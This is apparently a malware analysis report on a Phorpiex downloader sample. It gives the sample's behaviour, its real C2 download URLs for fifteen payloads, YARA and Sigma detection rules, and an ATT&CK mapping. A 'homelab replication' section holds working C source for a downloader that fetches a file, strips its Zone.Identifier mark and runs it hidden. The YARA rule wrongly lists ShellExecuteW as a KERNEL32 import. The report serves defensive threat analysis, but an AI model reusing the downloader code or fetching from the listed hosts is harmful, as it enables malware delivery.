ee83f1e835ae321ac303708151a85bdf35ff64b09eb706458e901bc77d40c83cphorpiex: ee83f1e8 — MSVC9 thin downloader, 15-payload chain, 1.exe–12.exe sequential naming
Executive Summary
An 11 KB PE32 GUI downloader built with MSVC 9.0 / MSVCR90, part of the active Phorpiex May-2026 campaign. It fetches fifteen payloads from 178.16.54.109 using both WinINET and URLMon as redundant transports, writes them to %TEMP% with random numeric filenames, deletes Zone.Identifier ADS, and executes via ShellExecuteW. New in this variant: sequential 1.exe–12.exe payload naming (replacing the lb* convention seen in the 113 KB business-app masquerade siblings), and a Windows 11 build gate (RtlGetVersion build >= 22000) that gates xmrget.exe delivery. Static-only — CAPE skipped, no Windows guest available.
What It Is
- File: PE32 executable (GUI) Intel 80386, 5 sections, 11,264 bytes ^[file.txt]
- Compiler: MSVC 9.0 (Visual Studio 2008), LinkerVersion 9.0, MSVCR90.dll CRT ^[pefile.txt]
- Compiled: Fri May 29 12:16:54 2026 UTC ^[pefile.txt]
- ASLR/DEP: ASLR enabled (
DYNAMIC_BASE), NX compatible (NX_COMPAT) ^[pefile.txt] - Signed: No ^[pefile.txt]
- Packed/Obfuscated: No. No packer, no encryption, no obfuscation. ^[binwalk.txt]
- Anti-analysis: Minimal. Only
IsDebuggerPresentin IAT. No VM checks, no anti-disassembly, no control-flow flattening. ^[pefile.txt] - OpenCTI labels:
dropped-by-phorpiex,exe,malware-bazaar^[metadata.json] - Family: Phorpiex campaign thin-downloader cluster. Same C2 (
178.16.54.109), same MSVC9/MSVCR90 toolchain, same dual-fetch pattern, same marker-file gating as siblings6b8527a7,025f5798,2ffc3203,32f29422,f67e429d,5549d978,e50d0e5a,0371fbbf. ^[entities/phorpiex.md]
How It Works
Entry behaviour
main() (radare2: 0x004014b3) sleeps 2,000 ms, then calls fcn.004010a8 in a hardcoded loop for URLs 1.exe through 12.exe, followed by conditional fetches for xmr.exe, xmrget.exe, and grab.exe based on two filesystem gates and a Windows version gate. ^[r2:main]
Downloader routine (fcn.004010a8)
- Stack probe —
fcn.004015b0probes the stack with a 0x1630 byte allocation, standard MSVCR90 prologue. ^[r2:fcn.004015b0] - Seed PRNG —
GetTickCountseedssrand(). ^[r2:fcn.004010a8] - Expand
%TEMP%—ExpandEnvironmentStringsWresolves%TEMP%to a 260-char buffer. ^[r2:fcn.004010a8] - Random filename —
rand()generates two integers; format string%s\%d%d.exeproduces e.g.%TEMP%\12345678.exe. ^[r2:fcn.004010a8] - Dual fetch — Primary path uses
InternetOpenWwith a fake Chrome/128.0.0.0 User-Agent,InternetOpenUrlW, thenInternetReadFile+CreateFileW+WriteFileloop. If the WinINET path fails, it falls back toURLDownloadToFileWvia urlmon.dll after a random 0–300,000 ms sleep. ^[r2:fcn.004010a8] - ADS deletion — After writing the payload, constructs
%s:Zone.Identifierand callsDeleteFileWto strip the NTFS alternate data stream. ^[r2:fcn.004010a8] - Execution — Calls
ShellExecuteWwith the downloaded filename. ^[r2:fcn.004010a8]
Gating logic
- Filesystem gate A (
fcn.004012fb): Checks if a file exists in%appdata%(likelyf3f3f3d3d.txt— OPEN_EXISTING disposition). If true, proceeds to downloadxmr.exe. ^[r2:fcn.004012fb] - Filesystem gate B (
fcn.00401370): Identical pattern, another%appdata%existence check. If true, falls back tograb.exe. ^[r2:fcn.00401370] - OS version gate (
fcn.00401435): Loadsntdll.dll, callsRtlGetVersion, checksdwMajorVersion == 0xA(Windows 10) anddwBuildNumber >= 0x55F0(build 22000+, i.e. Windows 11). If true, downloadsxmrget.exe. If false, skips to the fallback gate. ^[r2:fcn.00401435] - Architecture gate (string evidence): The string
%s\Program Files (x86)indicates an x64-progfiles check to detect 64-bit Windows. ^[r2:strings]
C2 Infrastructure
All payloads are served over cleartext HTTP from 178.16.54.109 (same IP as the entire Phorpiex May-2026 campaign): ^[r2:strings]
http://178.16.54.109/1.exe
http://178.16.54.109/2.exe
...
http://178.16.54.109/12.exe
http://178.16.54.109/xmr.exe
http://178.16.54.109/xmrget.exe
http://178.16.54.109/grab.exe
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 ^[r2:strings]
Interesting Tidbits
- Sequential numeric naming — This is the first Phorpiex sibling in the corpus to use
1.exethrough12.exeas payload names. Prior thin-downloader siblings usedlb1.exe–lb30.exe(e50d0e5a),13.exe–14.exe(f67e429d), orpeinf.exe/xmr.exe/xmrget.exe(32f29422). The 12-payload sequential naming suggests a bulk payload rotation or A/B test. ^[entities/phorpiex.md] - Windows 11 gate — The
RtlGetVersionbuild >= 22000 check is new in this variant. Prior thin-downloader siblings (6b8527a7,025f5798,32f29422) did not include this gate. It suggests the operator is targeting newer Windows builds forxmrget.exe(likely a Monero miner) while maintaining fallbackgrab.exefor older systems. ^[r2:fcn.00401435] - No initterm hijack — Unlike the
755bed07Phorpiex screen-saver masquerade variant, this sample uses an honestmain()entry with no_inittermhijack. The payload is all in the open IAT. ^[r2:main] - floss/capa failures —
floss.txtshows a CLI argument error (no decoded strings produced).capa.txtfailed because the default signature path is missing on the analysis host. These are tool/environment failures, not anti-analysis. ^[floss.txt] ^[capa.txt] - Marker file naming —
d3333333333333333333.txtandf3f3f3d3d.txtare consistent with the Phorpiex campaign's hex-repetition marker pattern (seen in6b8527a7,5549d978,95700384). ^[r2:strings]
How To Mess With It (Homelab Replication)
Toolchain: Visual Studio 2008 (MSVC 9.0) or modern VS with /MT and v90 platform toolset. Target: Win32 GUI.
Source skeleton (produces comparable capa fingerprint — minimal IAT, WinINET+URLMon, ShellExecuteW, ADS deletion, Zone.Identifier strip):
#include <windows.h>
#include <wininet.h>
#include <urlmon.h>
#include <shlwapi.h>
#include <stdio.h>
#pragma comment(lib, "wininet.lib")
#pragma comment(lib, "urlmon.lib")
BOOL download_wininet(LPCWSTR url, LPCWSTR path) {
HINTERNET hInternet = InternetOpenW(L"Mozilla/5.0 ...", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
HINTERNET hUrl = InternetOpenUrlW(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);
HANDLE hFile = CreateFileW(path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
DWORD read, written; BYTE buf[4096];
while (InternetReadFile(hUrl, buf, sizeof(buf), &read) && read > 0)
WriteFile(hFile, buf, read, &written, NULL);
CloseHandle(hFile); InternetCloseHandle(hUrl); InternetCloseHandle(hInternet);
return TRUE;
}
int WINAPI wWinMain(HINSTANCE, HINSTANCE, LPWSTR, int) {
Sleep(2000);
WCHAR temp[260], path[260], ads[520];
ExpandEnvironmentStringsW(L"%TEMP%", temp, 260);
srand(GetTickCount());
wsprintfW(path, L"%s\\%d%d.exe", temp, rand(), rand());
download_wininet(L"http://127.0.0.1/payload.exe", path);
wsprintfW(ads, L"%s:Zone.Identifier", path);
DeleteFileW(ads);
ShellExecuteW(NULL, L"open", path, NULL, NULL, SW_HIDE);
return 0;
}
Verification: Compile with /O2 /MT /SUBSYSTEM:WINDOWS. Run capa repro.exe and compare to the cluster fingerprint (should hit Ingress Tool Transfer, Network Communication, and File Deletion).
What you learn: How trivial it is to build a dual-path downloader with no packing that evades superficial triage. The threat is the distribution pipeline (spam), not the binary sophistication.
Deployable Signatures
YARA rule
rule Phorpiex_ThinDownloader_May2026 {
meta:
description = "Phorpiex thin downloader MSVC9 cluster, May 2026 campaign"
author = "Titus"
date = "2026-09-02"
sha256 = "ee83f1e835ae321ac303708151a85bdf35ff64b09eb706458e901bc77d40c83c"
strings:
$ua = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36"
$c2 = "http://178.16.54.109/" nocase
$temp_fmt = "%s\\%d%d.exe" wide
$zone_ads = "%s:Zone.Identifier" wide
$marker1 = "d3333333333333333333.txt" wide
$marker2 = "f3f3f3d3d.txt" wide
$progfiles_x86 = "%s\\Program Files (x86)" wide
$rtlg = "RtlGetVersion" ascii
$ntdll = "ntdll.dll" ascii
condition:
uint16(0) == 0x5A4D and
pe.number_of_sections == 5 and
pe.linker_version.major == 9 and
pe.imports("MSVCR90.dll", "_snwprintf") and
pe.imports("WININET.dll", "InternetOpenW") and
pe.imports("urlmon.dll", "URLDownloadToFileW") and
pe.imports("KERNEL32.dll", "ShellExecuteW") and
4 of ($ua, $c2, $temp_fmt, $zone_ads, $marker1, $marker2, $progfiles_x86, $rtlg, $ntdll)
}
Sigma rule
title: Phorpiex Thin Downloader Payload Execution
logsource:
category: process_creation
product: windows
detection:
selection:
CommandLine|contains:
- 'd3333333333333333333.txt'
- 'f3f3f3d3d.txt'
ParentImage|endswith:
- '\temp\\*.exe'
condition: selection
falsepositives:
- Unknown
level: high
Behavioral fingerprint statement
This binary is a 10–12 KB PE32 GUI executable compiled with MSVC 9.0 and linked against MSVCR90.dll, WININET.dll, and urlmon.dll. Within 2 seconds of launch it makes an HTTP GET request to
178.16.54.109with a Chrome/128.0.0.0 User-Agent, downloads a file to%TEMP%\<random_digits>.exe, deletes theZone.IdentifierNTFS ADS, and executes the downloaded file viaShellExecuteW. It checks for filesystem marker files in%TEMP%and%APPDATA%before fetching secondary payloads. The process tree is a single GUI process with no child processes until the payload executes. No packing, no heavy obfuscation, no VM checks beyondIsDebuggerPresent.
Detection Signatures (capa→ATT&CK)
| capa capability | ATT&CK technique | Evidence |
|---|---|---|
| Ingress Tool Transfer | T1105 | Downloads 15 payloads over HTTP ^[r2:main] |
| Application Layer Protocol | T1071.001 | HTTP via WinINET and URLMon ^[r2:fcn.004010a8] |
| Masquerading | T1036.005 | Fake Chrome/128.0.0.0 User-Agent ^[r2:strings] |
| Hide Artifacts | T1564.004 | Deletes Zone.Identifier ADS ^[r2:fcn.004010a8] |
| System Checks | T1497.001 | Marker-file gating, RtlGetVersion, x64 progfiles check ^[r2:fcn.004012fb] ^[r2:fcn.00401435] |
| Time Based Evasion | T1497.003 | Sleep(2000) at entry, random 0–300s sleeps between retries ^[r2:main] ^[r2:fcn.004010a8] |
References
- OpenCTI artifact:
c36f7be0-e12d-4acc-afcf-50b055a2ecd3^[metadata.json] - MalwareBazaar source:
malware-bazaartag ^[metadata.json] - Phorpiex family page: phorpiex
- Chrome UA masquerade technique: chrome-128-ua-masquerade
- Sibling analysis
5549d978(15-payload thin downloader): /intel/analyses/5549d978e2e00768fc99d95bd7644dfebacc261284e3b19a79e6e4c1f320fa3a.html - Sibling analysis
e50d0e5a(31-payload business-app masquerade): /intel/analyses/e50d0e5abf23d4cdb1021c0db51572a785150f0a797fbe57b203b54c26c086e1.html
Provenance
- Static analysis performed 2026-09-02 on pp-hermes (Lab1BU).
filev5.44,exiftoolv12.76,pefile(Python),radare2v5.9.8,binwalkv2.4.2,ssdeepv2.14.1,tlshv4.12.0,yarav4.5.0.flossandcapafailed due to environment/argument errors; no decoded strings or capa capabilities produced. ^[floss.txt] ^[capa.txt]- CAPE sandbox: skipped — no Windows guest available. Dynamic behavior inferred from static decompilation. ^[dynamic-analysis.md]